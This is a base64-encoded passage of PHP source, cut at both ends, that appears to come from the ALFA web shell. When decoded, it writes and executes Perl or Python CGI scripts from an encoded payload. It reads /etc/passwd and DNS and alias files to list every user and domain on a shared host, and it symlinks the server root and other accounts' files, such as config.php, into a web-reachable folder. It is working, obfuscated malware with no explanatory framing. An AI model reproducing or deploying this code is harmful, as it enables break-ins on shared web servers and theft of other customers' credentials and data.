MHlzYUpyM0NmTDNTYkpoNk0xUzZ3S0RqKzlSRkFXbkNoZ3NaYy9FMG81Tk9POS94R2NhWUJBY1grZHYra1JWSWxOSVRKcHhDUTV0T0Vsb3JzazhoWGhhN2pBTWcxNEgzSlFwTEFSakxZblN1NHhmZGpUZjZqT0k3eUlmSlR6WFhGNTBKbVBOSnVPNUFNcEVaRUplZGw3ZndqTVlkaWJXT3VOTzd6UVlSMGcwR1VkSXIxbUR5SXpQTlFxa1pDbjUvTEpqK2RGMFlPOFFEWW5JOVdVbm5tVTBmK3djS0IwTXJzN1BCMTZwQzBsTkt5MDFOMWg3ZStzWk1kckh4aDdhVkZVQzBHSVZxTjBxUy9QSENNZkZ6bjJGZXF0ZERHRDNUb1BvU3o1QTJPRHBURDVhL2lQYkl5MG5rSzBtV1ppSW5ScGZjcXVkSzlwNktRSXMwVHlXbkxMWVZJOHY5bGFxWXNoMHZhWlpPZlZFWlVsazRhUmw0eWcyT1RjRjRtYTVsRkNqNWFmbnVRZU1BSU80Y21NMlF6ZVR4eXhWMmszVnF0MXdtZVRjTThYSlBEYmJMMmdEdmExU2t5aDQzb0FQSVRJYkdpeklsa1ZqY21OZXFjaU5DQytxa3FWQ05MWVJUSkN3VVVvbHBsa09oTlZhWm1XMDl1SnNJLytzNkRMVWxvNW54M0E1ZWprbUxySlJmU2VQb25PNHo4NnFsNFBtWFRnT21sUDVVc3dhOTd3ZXlsTDZWMjN2cy9GN05vME9JZ3R4TlJQSWRwRGVMUk53RXVBNXZtSEJSZXZsZ0R1eXIwckE1MjF3Mk90S25OemdQT0l5NW9BOVMwdDB4bjZEeklSa0hEQmsyUEhBT29QS1cwZ0FYM1ptOEdYMGVtQ2VpeFZnVUpxUEJvU3V0VEFBdmdSTEovOGI1cjg5QXN0R1lINWpVa3k5VE96QitBK0E0UytTTm9PbEIwcjRjWDdOQk5zaGJyYTJFT29odk9jUWROd1pBaWVsMmFGeUw0RUFYeUdBZGxyWXpLS01TYTZVVzhFWlV5YVlFZmV2OEptaTZCWkFmS3o1cXJCdEdXWjRFOVNaNlZyOTEzb2plQlNuTWxtQ0JBa1dtSEczRTM3NzR6OENEQXU2TU9vRjVGT25id3h4V0FMaUxLVVRVVFBYem9lWUEwVjM2T2g1cGEwRmxhVFQzT05QdFZDSmNDTkk1UUtBSE5xd2tNMkNQamhvcFdGcmhvNmd6L3R3YWRzZHgrNzlQdWpwUEhmUHFhMXF2NHd3bkdJaG5HYkZacDB5YkFtVnBycmlnODhZRm5waHNUSHhkQjQyQThHejN0Ym5xMmxHTlMyVHdiWitJK2MxZUFJR2RKR2lSOGJrdkVGTzZRQVMzUSttN2Yyd210bmgxRXVyZzY4VHRzYy9uTmJ6OFVqUVlIKzVsbmNPaWtabHFnQmlHTHZ2ejZkbyt2ZURRV04wYWhyS0x0SXVsSjJ2YlRaOGFENUgvbXlybDhHSnp3T3I4L3VwNzNmQkkwZGVLNVJYaHdiWFJEbHRaUnJhcGhveTBjVEp5bktpRGdBZmJ3a0g0Y0Q3UlhYOGpGd201MnovZURBZ1laSWJRTUxJcWgxTVFJaXYvVzNKWXd4YldmOE4xdmhnNS9IWFZyckpjOGNGNGp5akYxVHA5Q3NINWU2NERGR3F5SHVRWC9JZTdEbW14MEZVNnZMTCtwS1ZTaHhVbTNJVzlBTno3SG1zTU4rMWZJNmhiTENtb0hqc3ZwRXpBOGZ3SFBhSkhqR1E3SDR3S3RtbnVKSFdncjFwYnkrYjJjU0R2RHV4U3ZyT3psb1VnUWoydEZSWkJtUS9IaTEzSGR0NkNTN2J6RjNNSktZWHVTV25sOTZSS3BQS3pxN21YVWdMYUJSWWw4M0tXdlgwK3lkQnBic3N3T2ZVVjlwcjZOVVFCbGZUcFdJYmhYcVAzZ1JrbFNHTy94a3phakdvaTl4MzJMY3NrVDJTNFkyOUN4ek5jS2NCaTJKVEpYRnNpaldPRVJUakdNR2c5bmRDcmZPNUJqdWhPem5UdTRLUENQWXNFZDduSC9LSGZJeUR5ZGlkLzZrR0pkY0N3enpia2F0M3QxZmtqbC85Q3VyTnl0aDBQUlA2eWJROWpDZENVbk53NUZBdEY1L0hrVjBmUjFZY21rNW1pNnE5c1cxSVVCcldHYlAweWJWU2dEbU1wZmxpTkJ3VTJ3dlhlcDNOaE5aaVplZHM0ellhRmx0QWM3VUVHMS9QelhQaHVyYjUzSFJ0eHowWjlqdG5HNTR1bG5vMEV4bXpFeXI5aDQvT2Z3REpRZVd6RXRBaUtzcklON0RuVDZsS3NXWDhsN2pXaWZ5MEk3L3Q5RkxrNHdoTW44RFYzNTNGZU9UdUZPeHlONUFyY2libnBIYlpOYlVORkpnaStIZEd0MU5iN0xqRlpJbjNnb01WTDlsZVg0TUlXNHJqbTdPaFcycWFKTzRvZW0zOUFXcy9vajhmalQ5dnZUOFArUWR6M2l1WVlud0xiZm10eURLeEFTZmZnVWoxa0w4eEZ5WWhkNGJBQk1YeGhnVWt6RU4reGRnZEpKUE5KVUF4cUk5aVdSQk1KdnpCais5SVlaTU1hSCtCd3lXRFkvckw1SmdjcS9LYUVIcW5BQ0EzcHlhTXEzQWpVODI3ZnNYT0pabFErRmRpdTZsOWV1bDZ0dzhudGI4S2d1b2l5cHVXM1owUzFnL2JxRDdlVGVyM0RwdUZVRDBGemYzRndhYXM1QXd1RENmUXYrTWFGSTRqeFZZQWhQd0hKNFpzZEE9PSIpKSxcJzxzdHJpbmc+XCcsXCdleGVjXCcpKSc7DQoJJGNnaW5hbWUgPSAic3ltcGVybC5hbGZhIjsNCgkkc291cmNlID0gJHBlcmw7DQoJJGxhbmcgPSAicGVybCI7DQoJaWYoJF9QT1NUWyJhbGZhMiJdPT0ic3ltcHkiKXsNCgkJJGNnaW5hbWUgPSAicHlzeW1saW5rLmFsZmEiOw0KCQkkc291cmNlID0gJHB5Ow0KCQkkbGFuZyA9ICJweXRob24iOw0KCX0NCglAX193cml0ZV9maWxlKCRjZ2luYW1lLCRzb3VyY2UpOw0KCUBjaG1vZCgkY2dpbmFtZSwwNzU1KTsNCgllY2hvIF9fcHJlKCk7DQoJJHJlc291cmNlID0gYWxmYUV4KCJ7JGxhbmd9IHskY2dpbmFtZX0geyRzeW1wYXRofSIsZmFsc2UsdHJ1ZSx0cnVlKTsNCglpZihzdHJsZW4oJHJlc291cmNlKSA9PSAwKXsNCgkJZWNobyBBbGZhaUZyYW1lQ3JlYXRvcignY2dpYWxmYS8nLiRjZ2luYW1lKTsNCgl9ZWxzZXsNCgkJZWNobyAkcmVzb3VyY2U7DQoJfQ0KfQ0KaWYoaXNzZXQoJF9QT1NUWydhbGZhNCddKSAmJiAkX1BPU1RbJ2FsZmE0J109PSdTeW1GaWxlJyl7DQppZihmdW5jdGlvbl9leGlzdHMoJ3N5bWxpbmsnKXx8X2FsZmFfY2FuX3J1bkNvbW1hbmQodHJ1ZSx0cnVlKSl7DQpBbGZhTnVtKDksMTApOw0KZWNobyBfX3ByZSgpLicNCjxjZW50ZXI+PHA+PGRpdiBjbGFzcz0idHh0Zm9udF9oZWFkZXIiPnwgU3ltbGluayBGaWxlIEFuZCBEaXJlY3RvcnkgfDwvZGl2PjwvcD48Zm9ybSBvblN1Ym1pdD0iZyhcJ3N5bWxpbmtcJyxudWxsLG51bGwsbnVsbCxudWxsLFwnU3ltRmlsZVwnLHRoaXMuZmlsZS52YWx1ZSx0aGlzLnN5bWZpbGUudmFsdWUsdGhpcy5zeW1saW5rLnZhbHVlKTtyZXR1cm4gZmFsc2U7IiBtZXRob2Q9InBvc3QiPg0KPGlucHV0IHR5cGU9InRleHQiIG5hbWU9ImZpbGUiIHBsYWNlaG9sZGVyPSJFeGFtcGxlIDogL2hvbWUvdXNlci9wdWJsaWNfaHRtbC9jb25maWcucGhwIiBzaXplPSI2MCIvPjxiciAvPg0KPGlucHV0IHR5cGU9InRleHQiIG5hbWU9InN5bWZpbGUiIHBsYWNlaG9sZGVyPSJFeGFtcGxlIDogYWxmYS50eHQiIHNpemU9IjYwIi8+DQo8cD48aW5wdXQgdHlwZT0ic3VibWl0IiB2YWx1ZT0iICIgbmFtZT0ic3ltbGluayIgLz48L3A+PC9mb3JtPjwvY2VudGVyPic7DQokcGF0aCA9ICRfUE9TVFsnYWxmYTUnXTsNCiRzeW1uYW1lID0gJF9QT1NUWydhbGZhNiddOw0KJHNvbGV2aXNpYmxlNTggPSAkX1BPU1RbJ2FsZmE3J107DQppZigkc29sZXZpc2libGU1OCl7DQokbmV3X25hbWUgPSBzdHJfcmVwbGFjZSgiLiIsICJfIiwgYmFzZW5hbWUoJHN5bW5hbWUpKTsNCiRyYW5kX2RpciA9ICRuZXdfbmFtZS5yYW5kKDExMSw5OTk5KTsNCiRzeW1fZGlyID0gJ2FsZmFzeW1saW5rcGhwLycuJHJhbmRfZGlyLicvJzsNCkBta2Rpcigkc3ltX2RpciwgMDc3NywgdHJ1ZSk7DQphbGZhY2dpaHRhY2Nlc3MoJ3N5bScsICRzeW1fZGlyLCAkc3ltbmFtZSk7DQpfYWxmYV9zeW1saW5rKCIkcGF0aCIsIiRzeW1fZGlyLyRzeW1uYW1lIik7DQplY2hvIF9fcHJlKCk7DQplY2hvICc8Y2VudGVyPjxiPjxmb250IGNvbG9yPSJ3aGl0ZSI+Q2xpY2sgPj4gPC9mb250PjxhIHRhcmdldD0iX2JsYW5rIiBocmVmPSInLiRzeW1fZGlyLiciID48Yj48Zm9udCBzaXplPSI0Ij4nLiRzeW1uYW1lLic8L2ZvbnQ+PC9iPjwvYT48L2I+PC9jZW50ZXI+JzsNCn0NCn1lbHNle2VjaG8gIjxjZW50ZXI+PHByZSBjbGFzcz1tbDEgc3R5bGU9J21hcmdpbi10b3A6NXB4Jz48Yj48Zm9udCBjb2xvcj1cIiNGRkZGRkZcIj5bK10gU3ltbGluayBGdW5jdGlvbiBEaXNhYmxlZCAhPC9iPjwvZm9udD48L3ByZT48L2NlbnRlcj4iO30NCn0NCmlmKGlzc2V0KCRfUE9TVFsnYWxmYTInXSkgJiYgJF9QT1NUWydhbGZhMiddPT0nc3ltcGhwJyl7DQokY2FudF9zeW1saW5rID0gdHJ1ZTsNCmlmKGZ1bmN0aW9uX2V4aXN0cygnc3ltbGluaycpfHxfYWxmYV9jYW5fcnVuQ29tbWFuZChmYWxzZSxmYWxzZSkpew0KQG1rZGlyKCdhbGZhc3ltbGluaycsMDc3Nyk7DQphbGZhY2dpaHRhY2Nlc3MoJ3N5bScsJ2FsZmFzeW1saW5rLycpOw0KX2FsZmFfc3ltbGluaygnLycsJ2FsZmFzeW1saW5rL3Jvb3QnKTsNCiR0YWJsZV9oZWFkZXIgPSAiPHByZSBpZD1cInN0ck91dHB1dFwiIHN0eWxlPVwibWFyZ2luLXRvcDo1cHhcIiBjbGFzcz1cIm1sMVwiPjxicj48dGFibGUgaWQ9J3RibF9zeW1wcGhwJyBhbGlnbj0nY2VudGVyJyB3aWR0aD0nNDAlJyBjbGFzcz0nbWFpbicgYm9yZGVyPScxJz48dGQ+PHNwYW4gc3R5bGU9J2NvbG9yOiNGRkZGMDE7Jz48Yj4qPC9zcGFuPjwvYj48L3RkPjx0ZD48c3BhbiBzdHlsZT0nY29sb3I6IzAwQTIyMDsnPjxiPkRvbWFpbnM8L3NwYW4+PC9iPjwvdGQ+PHRkPjxzcGFuIHN0eWxlPSdjb2xvcjojRkZGRkZGOyc+PGI+VXNlcnM8L3NwYW4+PC9iPjwvdGQ+PHRkPjxzcGFuIHN0eWxlPSdjb2xvcjojRkYwMDAwOyc+PGI+c3ltbGluazwvc3Bhbj48L2I+PC90ZD4iOw0KaWYoX2FsZmFfZmlsZV9leGlzdHMoIi9ldGMvbmFtZWQuY29uZiIpICYmICFfYWxmYV9maWxlX2V4aXN0cygiL2V0Yy92aXJ0dWFsL2RvbWFpbm93bmVycyIpICYmIF9hbGZhX2ZpbGVfZXhpc3RzKCIvZXRjL3ZhbGlhc2VzLyIpKXsNCmVjaG8gIjxjZW50ZXI+IjsNCiRsaW5lcyA9IGFycmF5KCk7DQokYW5vbnlfZG9tYWlucyA9IGFycmF5KCk7DQokYW5vbnltb3VzX3VzZXJzID0gYXJyYXkoKTsNCiRmX2JsYWNrID0gYXJyYXkoKTsNCiRlcnJvciA9IGZhbHNlOw0KJGFub255bW91cyA9IGZhbHNlOw0KJG1ha2Vwd2QgPSAiL2hvbWUve3VzZXJ9L3B1YmxpY19odG1sLyI7DQokZG9tYWlucyA9IGFsZmFHZXREb21haW5zKCk7DQokbGluZXMgPSAkZG9tYWluc1sibGluZXMiXTsNCiRzdGF0ZSA9ICRkb21haW5zWyJzdGF0ZSJdOw0KJGlzX3Bvc2l4ID0gZnVuY3Rpb25fZXhpc3RzKCJwb3NpeF9nZXRwd3VpZCIpICYmIGZ1bmN0aW9uX2V4aXN0cygiZmlsZW93bmVyIik7DQokY2FuX3J1bmNtZCA9IF9hbGZhX2Nhbl9ydW5Db21tYW5kKGZhbHNlLGZhbHNlKTsNCmlmKCEkaXNfcG9zaXggJiYgISRjYW5fcnVuY21kKXsNCgkkYW5vbnltb3VzID0gdHJ1ZTsNCgkkYW5vbnlfZG9tYWlucyA9ICRkb21haW5zWyJsaW5lcyJdOw0KCSRsaW5lcyA9IF9hbGZhX2ZpbGUoJy9ldGMvcGFzc3dkJyk7DQp9DQplY2hvICR0YWJsZV9oZWFkZXI7DQokY291bnQ9MTsNCiR0ZW1wbGF0ZSA9ICc8dHI+PHRkPjxzcGFuIHN0eWxlPSJjb2xvcjojRkZGRjAxOyI+e2NvdW50fTwvc3Bhbj48L3RkPjx0ZCBzdHlsZT0idGV4dC1hbGlnbjpsZWZ0OyI+PGEgdGFyZ2V0PSJfYmxhbmsiIGhyZWY9IntodHRwfSIvPjxzcGFuIHN0eWxlPSJjb2xvcjojMDBBMjIwO21hcmdpbi1sZWZ0OjEwcHg7Ij48Yj57ZG9tYWlufTwvYj4gPC9hPjwvc3Bhbj48L3RkPjx0ZCBzdHlsZT0idGV4dC1hbGlnbjpsZWZ0OyI+PHNwYW4gc3R5bGU9ImNvbG9yOiNGRkZGRkY7bWFyZ2luLWxlZnQ6MTBweDsiPjxiPntvd25lcn08L2ZvbnQ+PC9iPjwvdGQ+PHRkPjxhIGhyZWY9ImFsZmFzeW1saW5rL3Jvb3R7c3ltcGF0aH0iIHRhcmdldD0iX2JsYW5rIj48c3BhbiBzdHlsZT0iY29sb3I6I0ZGMDAwMDsiPlN5bWxpbms8L3NwYW4+PC9hPjwvdGQ+PC90cj4nOw0KZm9yZWFjaCgkbGluZXMgYXMgJGxpbmUpew0KCSRkb21haW4gPSAiIjsNCgkkb3duZXIgPSAiIjsNCglpZigkYW5vbnltb3VzKXsNCgkJJGV4cGxvZGUgPSBleHBsb2RlKCI6IiwgJGxpbmUpOw0KCQkkb3duZXIgPSAkZXhwbG9kZVswXTsNCgkJJG93bmVyX2xlbiA9IHN0cmxlbigkb3duZXIpIC0gMTsNCgkJJHVzZXJpZCA9ICRleHBsb2RlWzJdOw0KCQlpZigoaW50KSR1c2VyaWQgPCA1MDApY29udGludWU7DQoJCSRkb21haW4gPSAiWz8/Pz8/XSI7DQoJCSR0ZW1wX2JsYWNrID0gYXJyYXkoKTsNCgkJJGZpbmRlZCA9IGZhbHNlOw0KCQlmb3JlYWNoKCRhbm9ueV9kb21haW5zIGFzICRhbm9ueSl7DQoJCQlpZigkc3RhdGUgPT0gIm5hbWVkLmNvbmYiKXsNCgkJCQlpZihAc3Ryc3RyKCRhbm9ueSwgJ3pvbmUnKSl7DQoJCQkJCXByZWdfbWF0Y2hfYWxsKCcjem9uZSAiKC4qKSIjJywkYW5vbnksICRkYXRhKTsNCgkJCQkJJGRvbWFpbiA9ICRkYXRhWzFdWzBdOw0KCQkJCX1lbHNlew0KCQkJCQljb250aW51ZTsNCgkJCQl9DQoJCQl9ZWxzZWlmKCRzdGF0ZSA9PSAibmFtZWQiIHx8ICRzdGF0ZSA9PSAidmFsaWFzZXMiKXsNCgkJCQlpZigkYW5vbnkgPT0gIi4iIHx8ICRhbm9ueSA9PSAiLi4iKWNvbnRpbnVlOw0KCQkJCWlmKCRzdGF0ZSA9PSAibmFtZWQiKSRhbm9ueSA9IHJ0cmltKCRhbm9ueSwgIi5kYiIpOw0KCQkJCSRkb21haW4gPSAkYW5vbnk7DQoJCQl9DQoJCQkkc3ViX2RvbWFpbiA9IHN0cl9yZXBsYWNlKGFycmF5KCItIiwiLiIpLCAiIiwgJGRvbWFpbik7DQoJCQlpZihzdWJzdHIoJG93bmVyLCAwLCAkb3duZXJfbGVuKSA9PSBzdWJzdHIoJHN1Yl9kb21haW4sIDAsICRvd25lcl9sZW4pKXsNCgkJCQlpZihpbl9hcnJheSgkb3duZXIuJGRvbWFpbiwgJHRlbXBfYmxhY2spKWNvbnRpbnVlOw0KCQkJCSRzeW1wYXRoID0gc3RyX3JlcGxhY2UoInt1c2VyfSIsICRvd25lciwgJG1ha2Vwd2QpOw0KCQkJCSRodHRwID0gImh0dHA6Ly8iLiRkb21haW47DQoJCQkJZWNobyBzdHJfcmVwbGFjZShhcnJheSgie2NvdW50fSIsICJ7aHR0cH0iLCAie2RvbWFpbn0iLCAie293bmVyfSIsICJ7c3ltcGF0aH0iKSwgYXJyYXkoJGNvdW50LCAkaHR0cCwgJGRvbWFpbiwgJG93bmVyLCAkc3ltcGF0aCksICR0ZW1wbGF0ZSk7DQoJCQkJJGNvdW50Kys7DQoJCQkJJHRlbXBfYmxhY2tbXSA9ICRvd25lci4kZG9tYWluOw0KCQkJCSRmaW5kZWQgPSB0cnVlOw0KCQkJfQ0KCQl9DQoJCWlmKCEkZmluZGVkKXsNCgkJCSRhbm9ueW1vdXNfdXNlcnNbXSA9ICRvd25lcjsNCgkJfQ0KCX1lbHNlew0KIAkJaWYoJHN0YXRlID09ICJuYW1lZC5jb25mIil7DQoJCQlpZihAc3Ryc3RyKCRsaW5lLCAnem9uZScpKXsNCgkJCQlwcmVnX21hdGNoX2FsbCgnI3pvbmUgIiguKikiIycsJGxpbmUsICRkYXRhKTsNCgkJCQkkZG9tYWluID0gJGRhdGFbMV1bMF07DQoJCQl9ZWxzZXsNCgkJCQljb250aW51ZTsNCgkJCX0NCgkJfWVsc2VpZigkc3RhdGUgPT0gIm5hbWVkIiB8fCAkc3RhdGUgPT0gInZhbGlhc2VzIil7DQoJCQlpZigkbGluZSA9PSAiLiIgfHwgJGxpbmUgPT0gIi4uIiljb250aW51ZTsNCgkJCWlmKCRzdGF0ZSA9PSAibmFtZWQiKSRsaW5lID0gcnRyaW0oJGxpbmUsICIuZGIiKTsNCgkJCSRkb21haW4gPSAkbGluZTsNCgkJfQ0KCQlpZihzdHJsZW4odHJpbSgkZG9tYWluKSkgPiAyICYmICRzdGF0ZSAhPSAicGFzc3dkIil7DQoJCQlpZighX2FsZmFfZmlsZV9leGlzdHMoJy9ldGMvdmFsaWFzZXMvJy4kZG9tYWluLCBmYWxzZSkpY29udGludWU7DQoJCQlpZigkaXNfcG9zaXgpew0KCQkJCSR1c2VyID0gQHBvc2l4X2dldHB3dWlkKEBmaWxlb3duZXIoJy9ldGMvdmFsaWFzZXMvJy4kZG9tYWluKSk7DQoJCQkJJG93bmVyID0gJHVzZXJbIm5hbWUiXTsNCgkJCX1lbHNlaWYoJGNhbl9ydW5jbWQpew0KCQkJCSRvd25lciA9IGFsZmFFeCgic3RhdCAtYyAnJVUnIC9ldGMvdmFsaWFzZXMvIi4kZG9tYWluLGZhbHNlLGZhbHNlKTsNCgkJCX0NCgkJfQ0KCX0NCglpZighJGFub255bW91cyl7DQoJCWlmKHN0cmxlbigkb3duZXIpPT0wIHx8IGluX2FycmF5KCRvd25lci4kZG9tYWluLCAkZl9ibGFjaykpY29udGludWU7DQoJCSRzeW1wYXRoID0gc3RyX3JlcGxhY2UoInt1c2VyfSIsICRvd25lciwgJG1ha2Vwd2QpOw0KCQkkaHR0cCA9ICJodHRwOi8vIi4kZG9tYWluOw0KCQlpZigkc3RhdGUgPT0gInBhc3N3ZCIpew0KCQkJJGh0dHAgPSAiamF2YXNjcmlwdDphbGVydCgnd2UgY2FudCBmaW5kIGRvbWFpbi4uLicpIjsNCgkJfQ0KCQllY2hvIHN0cl9yZXBsYWNlKGFycmF5KCJ7Y291bnR9IiwgIntodHRwfSIsICJ7ZG9tYWlufSIsICJ7b3duZXJ9IiwgIntzeW1wYXRofSIpLCBhcnJheSgkY291bnQsICRodHRwLCAkZG9tYWluLCAkb3duZXIsICRzeW1wYXRoKSwgJHRlbXBsYXRlKTsNCgkJJGNvdW50Kys7DQoJCSRmX2JsYWNrW10gPSAkb3duZXIuJGRvbWFpbjsNCgl9DQp9DQppZigkYW5vbnltb3VzKXsNCglmb3JlYWNoKCRhbm9ueW1vdXNfdXNlcnMgYXMgJG93bmVyKXsNCgkJJHN5bXBhdGggPSBzdHJfcmVwbGFjZSgie3VzZXJ9IiwgJG93bmVyLCAkbWFrZXB3ZCk7DQoJCSRodHRwID0gImphdmFzY3JpcHQ6YWxlcnQoJ3dlIGNhbnQgZmluZCBkb21haW4uLi4nKSI7DQoJCWVjaG8gc3RyX3JlcGxhY2UoYXJyYXkoIntjb3VudH0iLCAie2h0dHB9IiwgIntkb21haW59IiwgIntvd25lcn0iLCAie3N5bXBhdGh9IiksIGFycmF5KCRjb3VudCwgJGh0dHAsICJbPz8/P10iLCAkb3duZXIsICRzeW1wYXRoKSwgJHRlbXBsYXRlKTsNCgkJJGNvdW50Kys7DQoJfQ0KfQ0KJGNhbnRfc3ltbGluayA9IGZhbHNlOw0KfWVsc2V7DQokaXNfZGlyZWN0ID0gZmFsc2U7DQokbWFrZXB3ZCA9IGFsZmFNYWtlUHdkKCk7DQppZihfYWxmYV9maWxlX2V4aXN0cygiL2V0Yy92aXJ0dWFsL2RvbWFpbm93bmVycyIpKXsNCgkkbWFrZXB3ZCA9ICIvaG9tZS97dXNlcn0vcHVibGljX2h0bWwiOw0KCSRpc19kaXJlY3QgPSB0cnVlOw0KfQ0KJHNvbGUgPSBfYWxmYV9maWxlKCIvZXRjL3ZpcnR1YWwvZG9tYWlub3duZXJzIik7DQokY291bnQ9MTsNCmVjaG8gJHRhYmxlX2hlYWRlcjsNCiR0ZW1wbGF0ZSA9ICc8dHI+PHRkPjxzcGFuIHN0eWxlPSJjb2xvcjojRkZGRjAxOyI+e2NvdW50fTwvc3Bhbj48L3RkPjx0ZCBzdHlsZT0idGV4dC1hbGlnbjpsZWZ0OyI+PGEgdGFyZ2V0PSJfYmxhbmsiIGhyZWY9Imh0dHA6Ly93d3cue3VybH0iLz48c3BhbiBzdHlsZT0iY29sb3I6IzAwQTIyMDttYXJnaW4tbGVmdDoxMHB4OyI+PGI+e3VybH08L2I+IDwvYT48L3NwYW4+PC90ZD48dGQgc3R5bGU9InRleHQtYWxpZ246bGVmdDsiPjxzcGFuIHN0eWxlPSJjb2xvcjojRkZGRkZGO21hcmdpbi1sZWZ0OjEwcHg7Ij48Yj57dXNlcn08L2ZvbnQ+PC9iPjwvdGQ+PHRkPjxhIGhyZWY9ImFsZmFzeW1saW5rL3Jvb3R7Y3dkfSIgdGFyZ2V0PSJfYmxhbmsiPjxzcGFuIHN0eWxlPSJjb2xvcjojRkYwMDAwOyI+U3ltbGluazwvc3Bhbj48L2E+PC90ZD48L3RyPic7DQppZigkc29sZSl7DQoJZm9yZWFjaCgkc29sZSBhcyAkdmlzaWJsZSl7DQoJCWlmKEBzdHJzdHIoJHZpc2libGUsIjoiKSl7DQoJCQkkc29sZXZpc2libGUgPSBleHBsb2RlKCc6JywgJHZpc2libGUpOw0KCQkJJGN3ZCA9IHN0cl9yZXBsYWNlKCJ7dXNlcn0iLCB0cmltKCRzb2xldmlzaWJsZVsxXSksICRtYWtlcHdkKTsNCgkJCWVjaG8gc3RyX3JlcGxhY2UoYXJyYXkoIntjb3VudH0iLCJ7dXNlcn0iLCJ7dXJsfSIsIntjd2R9IiksIGFycmF5KCRjb3VudCsrLCB0cmltKCRzb2xldmlzaWJsZVsxXSksIHRyaW0oJHNvbGV2aXNpYmxlWzBdKSwgJGN3ZCksICR0ZW1wbGF0ZSk7DQoJCX0NCgl9DQp9ZWxzZXsNCgkkcGFzc3dkID0gX2FsZmFfZmlsZSgiL2V0Yy9wYXNzd2QiKTsNCglpZigkcGFzc3dkKXsNCgkJJGh0bWwgPSAiIjsNCgkJJGlzX25hbWVkID0gZmFsc2U7DQoJCSR1c2VycyA9IGFycmF5KCk7DQoJCSRkb21haW5zID0gYXJyYXkoKTsNCgkJJHVrbm93bnMgPSBhcnJheSgpOw0KCQlmb3JlYWNoKCRwYXNzd2QgYXMgJHVzZXIpew0KCQkJJHVzZXIgPSB0cmltKCR1c2VyKTsNCgkJCSRleHBsID0gZXhwbG9kZSgiOiIsICR1c2VyKTsNCgkJCWlmKChpbnQpJGV4cGxbMl0gPCA1MDApY29udGludWU7DQoJCQkkdXNlcnNbJGV4cGxbMF1dID0gJGV4cGxbNV07DQoJCX0NCgkJJHNpdGVfZG9tYWlucyA9IEBzY2FuZGlyKCIvZXRjL3ZpcnR1YWwvIik7DQoJCWlmKCEkc2l0ZV9kb21haW5zKXsNCgkJCSRzaXRlX2RvbWFpbnMgPSBhbGZhRXgoImxzIC9ldGMvdmlydHVhbC8iKTsNCgkJCSRzaXRlX2RvbWFpbnMgPSBleHBsb2RlKCJcbiIsICRzaXRlX2RvbWFpbnMpOw0KCQkJaWYoISRzaXRlX2RvbWFpbnMpew0KCQkJCSRzaXRlX2RvbWFpbnMgPSBfYWxmYV9maWxlKCIvZXRjL25hbWVkLmNvbmYiKTsNCgkJCQlpZigkc2l0ZV9kb21haW5zKXskaXNfbmFtZWQgPSB0cnVlO30NCgkJCX0NCgkJfQ0KCQlmb3JlYWNoKCRzaXRlX2RvbWFpbnMgYXMgJGxpbmUpew0KCQkJaWYoJGlzX25hbWVkKXsNCgkJCQlpZihAc3Ryc3RyKCRsaW5lLCAnem9uZScpKXsNCgkJCQkJcHJlZ19tYXRjaF9hbGwoJyN6b25lICIoLiopIiMnLCRsaW5lLCAkZGF0YSk7DQoJCQkJCSRkb21haW4gPSAkZGF0YVsxXVswXTsNCgkJCQkJaWYoc3RybGVuKCRkb21haW4gID4gMikgJiYgIWVtcHR5KCRkb21haW4pKXsNCgkJCQkJCSRkb21haW5zW10gPSAkZG9tYWluOw0KCQkJCQl9DQoJCQkJfQ0KCQkJfWVsc2V7DQoJCQkJJGRvbWFpbnNbXSA9ICRsaW5lOw0KCQkJfQ0KCQl9DQoJCSR4ID0gMTsNCgkJZm9yZWFjaCgkdXNlcnMgYXMgJHVzZXIgPT4gJGhvbWUpew0KCQkJZm9yZWFjaCgkZG9tYWlucyBhcyAkZG9tYWluKXsNCgkJCQkkdXNlcl9sZW4gPSBzdHJsZW4oJHVzZXIpIC0gMTsNCgkJCQkkc3ViX2RvbWFpbiA9IHN0cl9yZXBsYWNlKGFycmF5KCItIiwiLiIpLCAiIiwgJGRvbWFpbik7DQoJCQkJJGZpdmVfdXNlciA9IHN1YnN0cigkdXNlciwgMCwkdXNlcl9sZW4pOw0KCQkJCSRmaXZlX2RvbWFpbiA9IHN1YnN0cigkc3ViX2RvbWFpbiwgMCwkdXNlcl9sZW4pOw0KCQkJCWlmKCRmaXZlX3VzZXIgPT0gJGZpdmVfZG9tYWluKXsNCgkJCQkJaWYoJGlzX2RpcmVjdCl7DQoJCQkJCQkkY3dkID0gc3RyX3JlcGxhY2UoInt1c2VyfSIsICR1c2VyLCAkbWFrZXB3ZCk7DQoJCQkJCX1lbHNlew0KCQkJCQkJJGV4cGwgPSBleHBsb2RlKCJ9LyIsICRtYWtlcHdkKTsNCgkJCQkJCSRjd2QgPSAkaG9tZS4iLyIuJGV4cGxbMV07DQoJCQkJCX0NCgkJCQkJJGh0bWwgLj0gc3RyX3JlcGxhY2UoYXJyYXkoIntjb3VudH0iLCJ7dXNlcn0iLCJ7dXJsfSIsICJ7Y3dkfSIpLCBhcnJheSgkeCsrLCAkdXNlciwgJGRvbWFpbiwgJGN3ZCksICR0ZW1wbGF0ZSk7DQoJCQkJfWVsc2V7DQoJCQkJCSR1a25vd25zWyR1c2VyXSA9ICRob21lOw0KCQkJCX0NCgkJCX0NCgkJfQ0KCQkkdWtub3ducyA9IGFycmF5X3VuaXF1ZSgkdWtub3ducyk7DQoJCWZvcmVhY2goJHVrbm93bnMgYXMgJHVzZXIgPT4gJGhvbWUpew0KCQkJaWYoJGlzX2RpcmVjdCl7DQoJCQkJJGN3ZCA9IHN0cl9yZXBsYWNlKCJ7dXNlcn0iLCAkdXNlciwgJG1ha2Vwd2QpOw0KCQkJfWVsc2V7DQoJCQkJJGV4cGwgPSBleHBsb2RlKCJ9LyIsICRtYWtlcHdkKTsNCgkJCQkkY3dkID0gJGhvbWUuIi8iLiRleHBsWzFdOw0KCQkJfQ0KCQkJJGh0bWwgLj0gc3RyX3JlcGxhY2UoYXJyYXkoIntjb3VudH0iLCJ7dXNlcn0iLCJ7dXJsfSIsICJ7Y3dkfSIpLCBhcnJheSgkeCsrLCAkdXNlciwgIls/Pz8/P10iLCAkY3dkKSwgJHRlbXBsYXRlKTsNCgkJfQ0KCQllY2hvKCRodG1sKTsNCgl9DQp9DQplY2hvICI8L3RhYmxlPiI7DQokY2FudF9zeW1saW5rID0gZmFsc2U7DQp9DQp9ZWxzZXsNCgllY2hvICI8cHJlIGNsYXNzPW1sMSBzdHlsZT0nbWFyZ2luLXRvcDo1cHgnPjxiPjxmb250IGNvbG9yPVwiI0ZGRkZGRlwiPlsrXSBTeW1saW5rIEZ1bmN0aW9uIERpc2FibGVkICE8L2I+PC9mb250PjwvcHJlPjwvY2V